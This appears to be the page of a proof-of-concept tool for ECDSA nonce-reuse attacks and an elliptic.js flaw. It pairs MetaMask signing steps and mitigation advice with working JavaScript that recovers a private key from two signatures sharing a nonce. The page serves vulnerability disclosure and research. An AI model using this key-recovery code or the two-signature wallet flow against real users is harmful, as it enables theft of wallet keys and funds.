PoCs Check

Guide
中文

ECDSA Signature Vulnerability PoC Guide

Overview

This tool demonstrates the k-value reuse vulnerability in ECDSA signatures, as well as the recently discovered malformed input handling vulnerability in the elliptic.js library.

Vulnerability Principle

ECDSA signature security heavily depends on the uniqueness of the random number k. If the same k value is used to sign different messages, an attacker can recover the private key from these two signatures.

The recently discovered elliptic.js library vulnerability (GHSA-vjh7-7g9h-fjfh) allows attackers to extract private keys by constructing specific inputs, even when a user has only signed once.

How to Use

1. Click the "Connect Wallet" button

2. Choose an implementation method (String or BN)

3. Enter or select a transaction hash

4. Click "Test Vulnerability" button

5. MetaMask will request two signatures, please confirm both

6. Observe the results to see if the private key was successfully extracted

Security Recommendations

- Upgrade to elliptic.js 6.6.1 or higher

- Use libraries that support hedged signatures

- Be cautious when signing any messages, especially from untrusted applications

⚠️ Security Research Tool - For Test Purposes Only

This is a Proof of Concept (PoC) tool for demonstrating ECDSA signature vulnerabilities, showing the private key leakage risk when the same k value is used to sign different messages. This tool should only be used for educational and security research purposes, and only on accounts you control.

In February 2025, a serious security vulnerability (GHSA-vjh7-7g9h-fjfh) was discovered in the elliptic.js library, allowing attackers to extract ECDSA private keys through maliciously crafted inputs. If your project uses elliptic <= 6.6.0, upgrade immediately!

Please select an implementation method below, enter a transaction hash, and then click the corresponding button to test. This demonstration will request you to sign two different messages and will attempt to extract your private key from the signatures.

  • ECDSA Signature Vulnerability Principles

    In ECDSA signature algorithm, a unique random number k needs to be generated for each signature. If the same k value is used to sign different messages, an attacker can mathematically extract the private key from these two signatures.

    ECDSA Signature Process:
    k = rand() // Random method
    k = combine(d, m) // Deterministic method, RFC 6979
    R = G × k
    r = R.x mod n
    s = k^-1 ⋅ (m + d⋅r) mod n
    sig = r || s

    If two different messages m1 and m2 are signed using the same k value, generating signatures (r, s1) and (r, s2), an attacker can:

    s1 - s2 = (k^-1)⋅(m1 - m2) mod n
    k = ((s1 - s2)^-1)⋅(m1 - m2) mod n
    d = (r^-1)⋅(s1⋅k - m1) mod n

    Elliptic.js Vulnerability Analysis

    The vulnerability in the elliptic.js library lies in its input handling defect. During the process of converting to BN objects, different inputs may produce the same nonce value, causing signatures to use the same k value.

    // Vulnerable code:
    msg = this._truncateToN(new BN(msg, 16));
    // ...
    var nonce = msg.toArray('be', bytes);
                

    Attackers can construct special inputs that generate the same nonce after conversion, leading to k reuse and ultimately leaking the private key.

    Hedged Signatures vs Deterministic Signatures

    To prevent k-value reuse vulnerabilities in ECDSA signatures, several approaches are available:

    Signature Type Implementation Security Features
    Random Signatures k = rand() Depends on random number generator quality
    Deterministic Signatures k = combine(d, m) Vulnerable to fault attacks
    Hedged Signatures k = combine(d, m, rnd) Protects against both RNG and fault attacks

    Security Recommendations

    1. Upgrade Crypto Libraries: If using elliptic.js, immediately upgrade to version 6.6.1 or higher
    2. Use Hedged Signatures: Choose libraries that support hedged signatures, such as libsecp256k1, noble-curves, etc.
    3. Input Validation: Strictly validate signature inputs, avoid processing unverified user input
    4. Security Audits: Regularly audit cryptographic implementations, especially random number generation and signature processes
    5. Key Isolation: Use different keys for different applications to reduce single point of failure impact

    Recommended secure libraries include:

    Test Results

    No test records yet
    // Private key recovery mathematical process
    function extract(msg0, msg1, sig0, sig1, curve) {
        const ec = new EC(curve);
        const n = ec.curve.n;
        
        // Check if input is a hex string
        function isHexString(str) {
            if (typeof str !== 'string') return false;
            return /^[\-0-9a-fA-F]+$/.test(str);
        }
        
        // Extract r and s from signatures
        const sig0Clean = sig0.startsWith('0x') ? sig0.substring(2) : sig0;
        const sig1Clean = sig1.startsWith('0x') ? sig1.substring(2) : sig1;
        
        const r = new BN(sig0Clean.substring(0, 64), 16);
        const s0 = new BN(sig0Clean.substring(64, 128), 16);
        const s1 = new BN(sig1Clean.substring(64, 128), 16);
        
        // Convert messages to BN objects
        const m0 = isHexString(msg0) ? new BN(msg0, 'hex') : new BN(msg0);
        const m1 = isHexString(msg1) ? new BN(msg1, 'hex') : new BN(msg1);
        
        // Calculate differences
        const s_diff = s1.sub(s0).umod(n);
        const m_diff = m1.sub(m0).umod(n);
        
        // Calculate k value and recover private key
        const k = m_diff.mul(s_diff.invm(n)).umod(n);
        const r_inv = r.invm(n);
        const d = s1.mul(k).sub(m1).mul(r_inv).umod(n);
        
        return d.toString('hex');
    }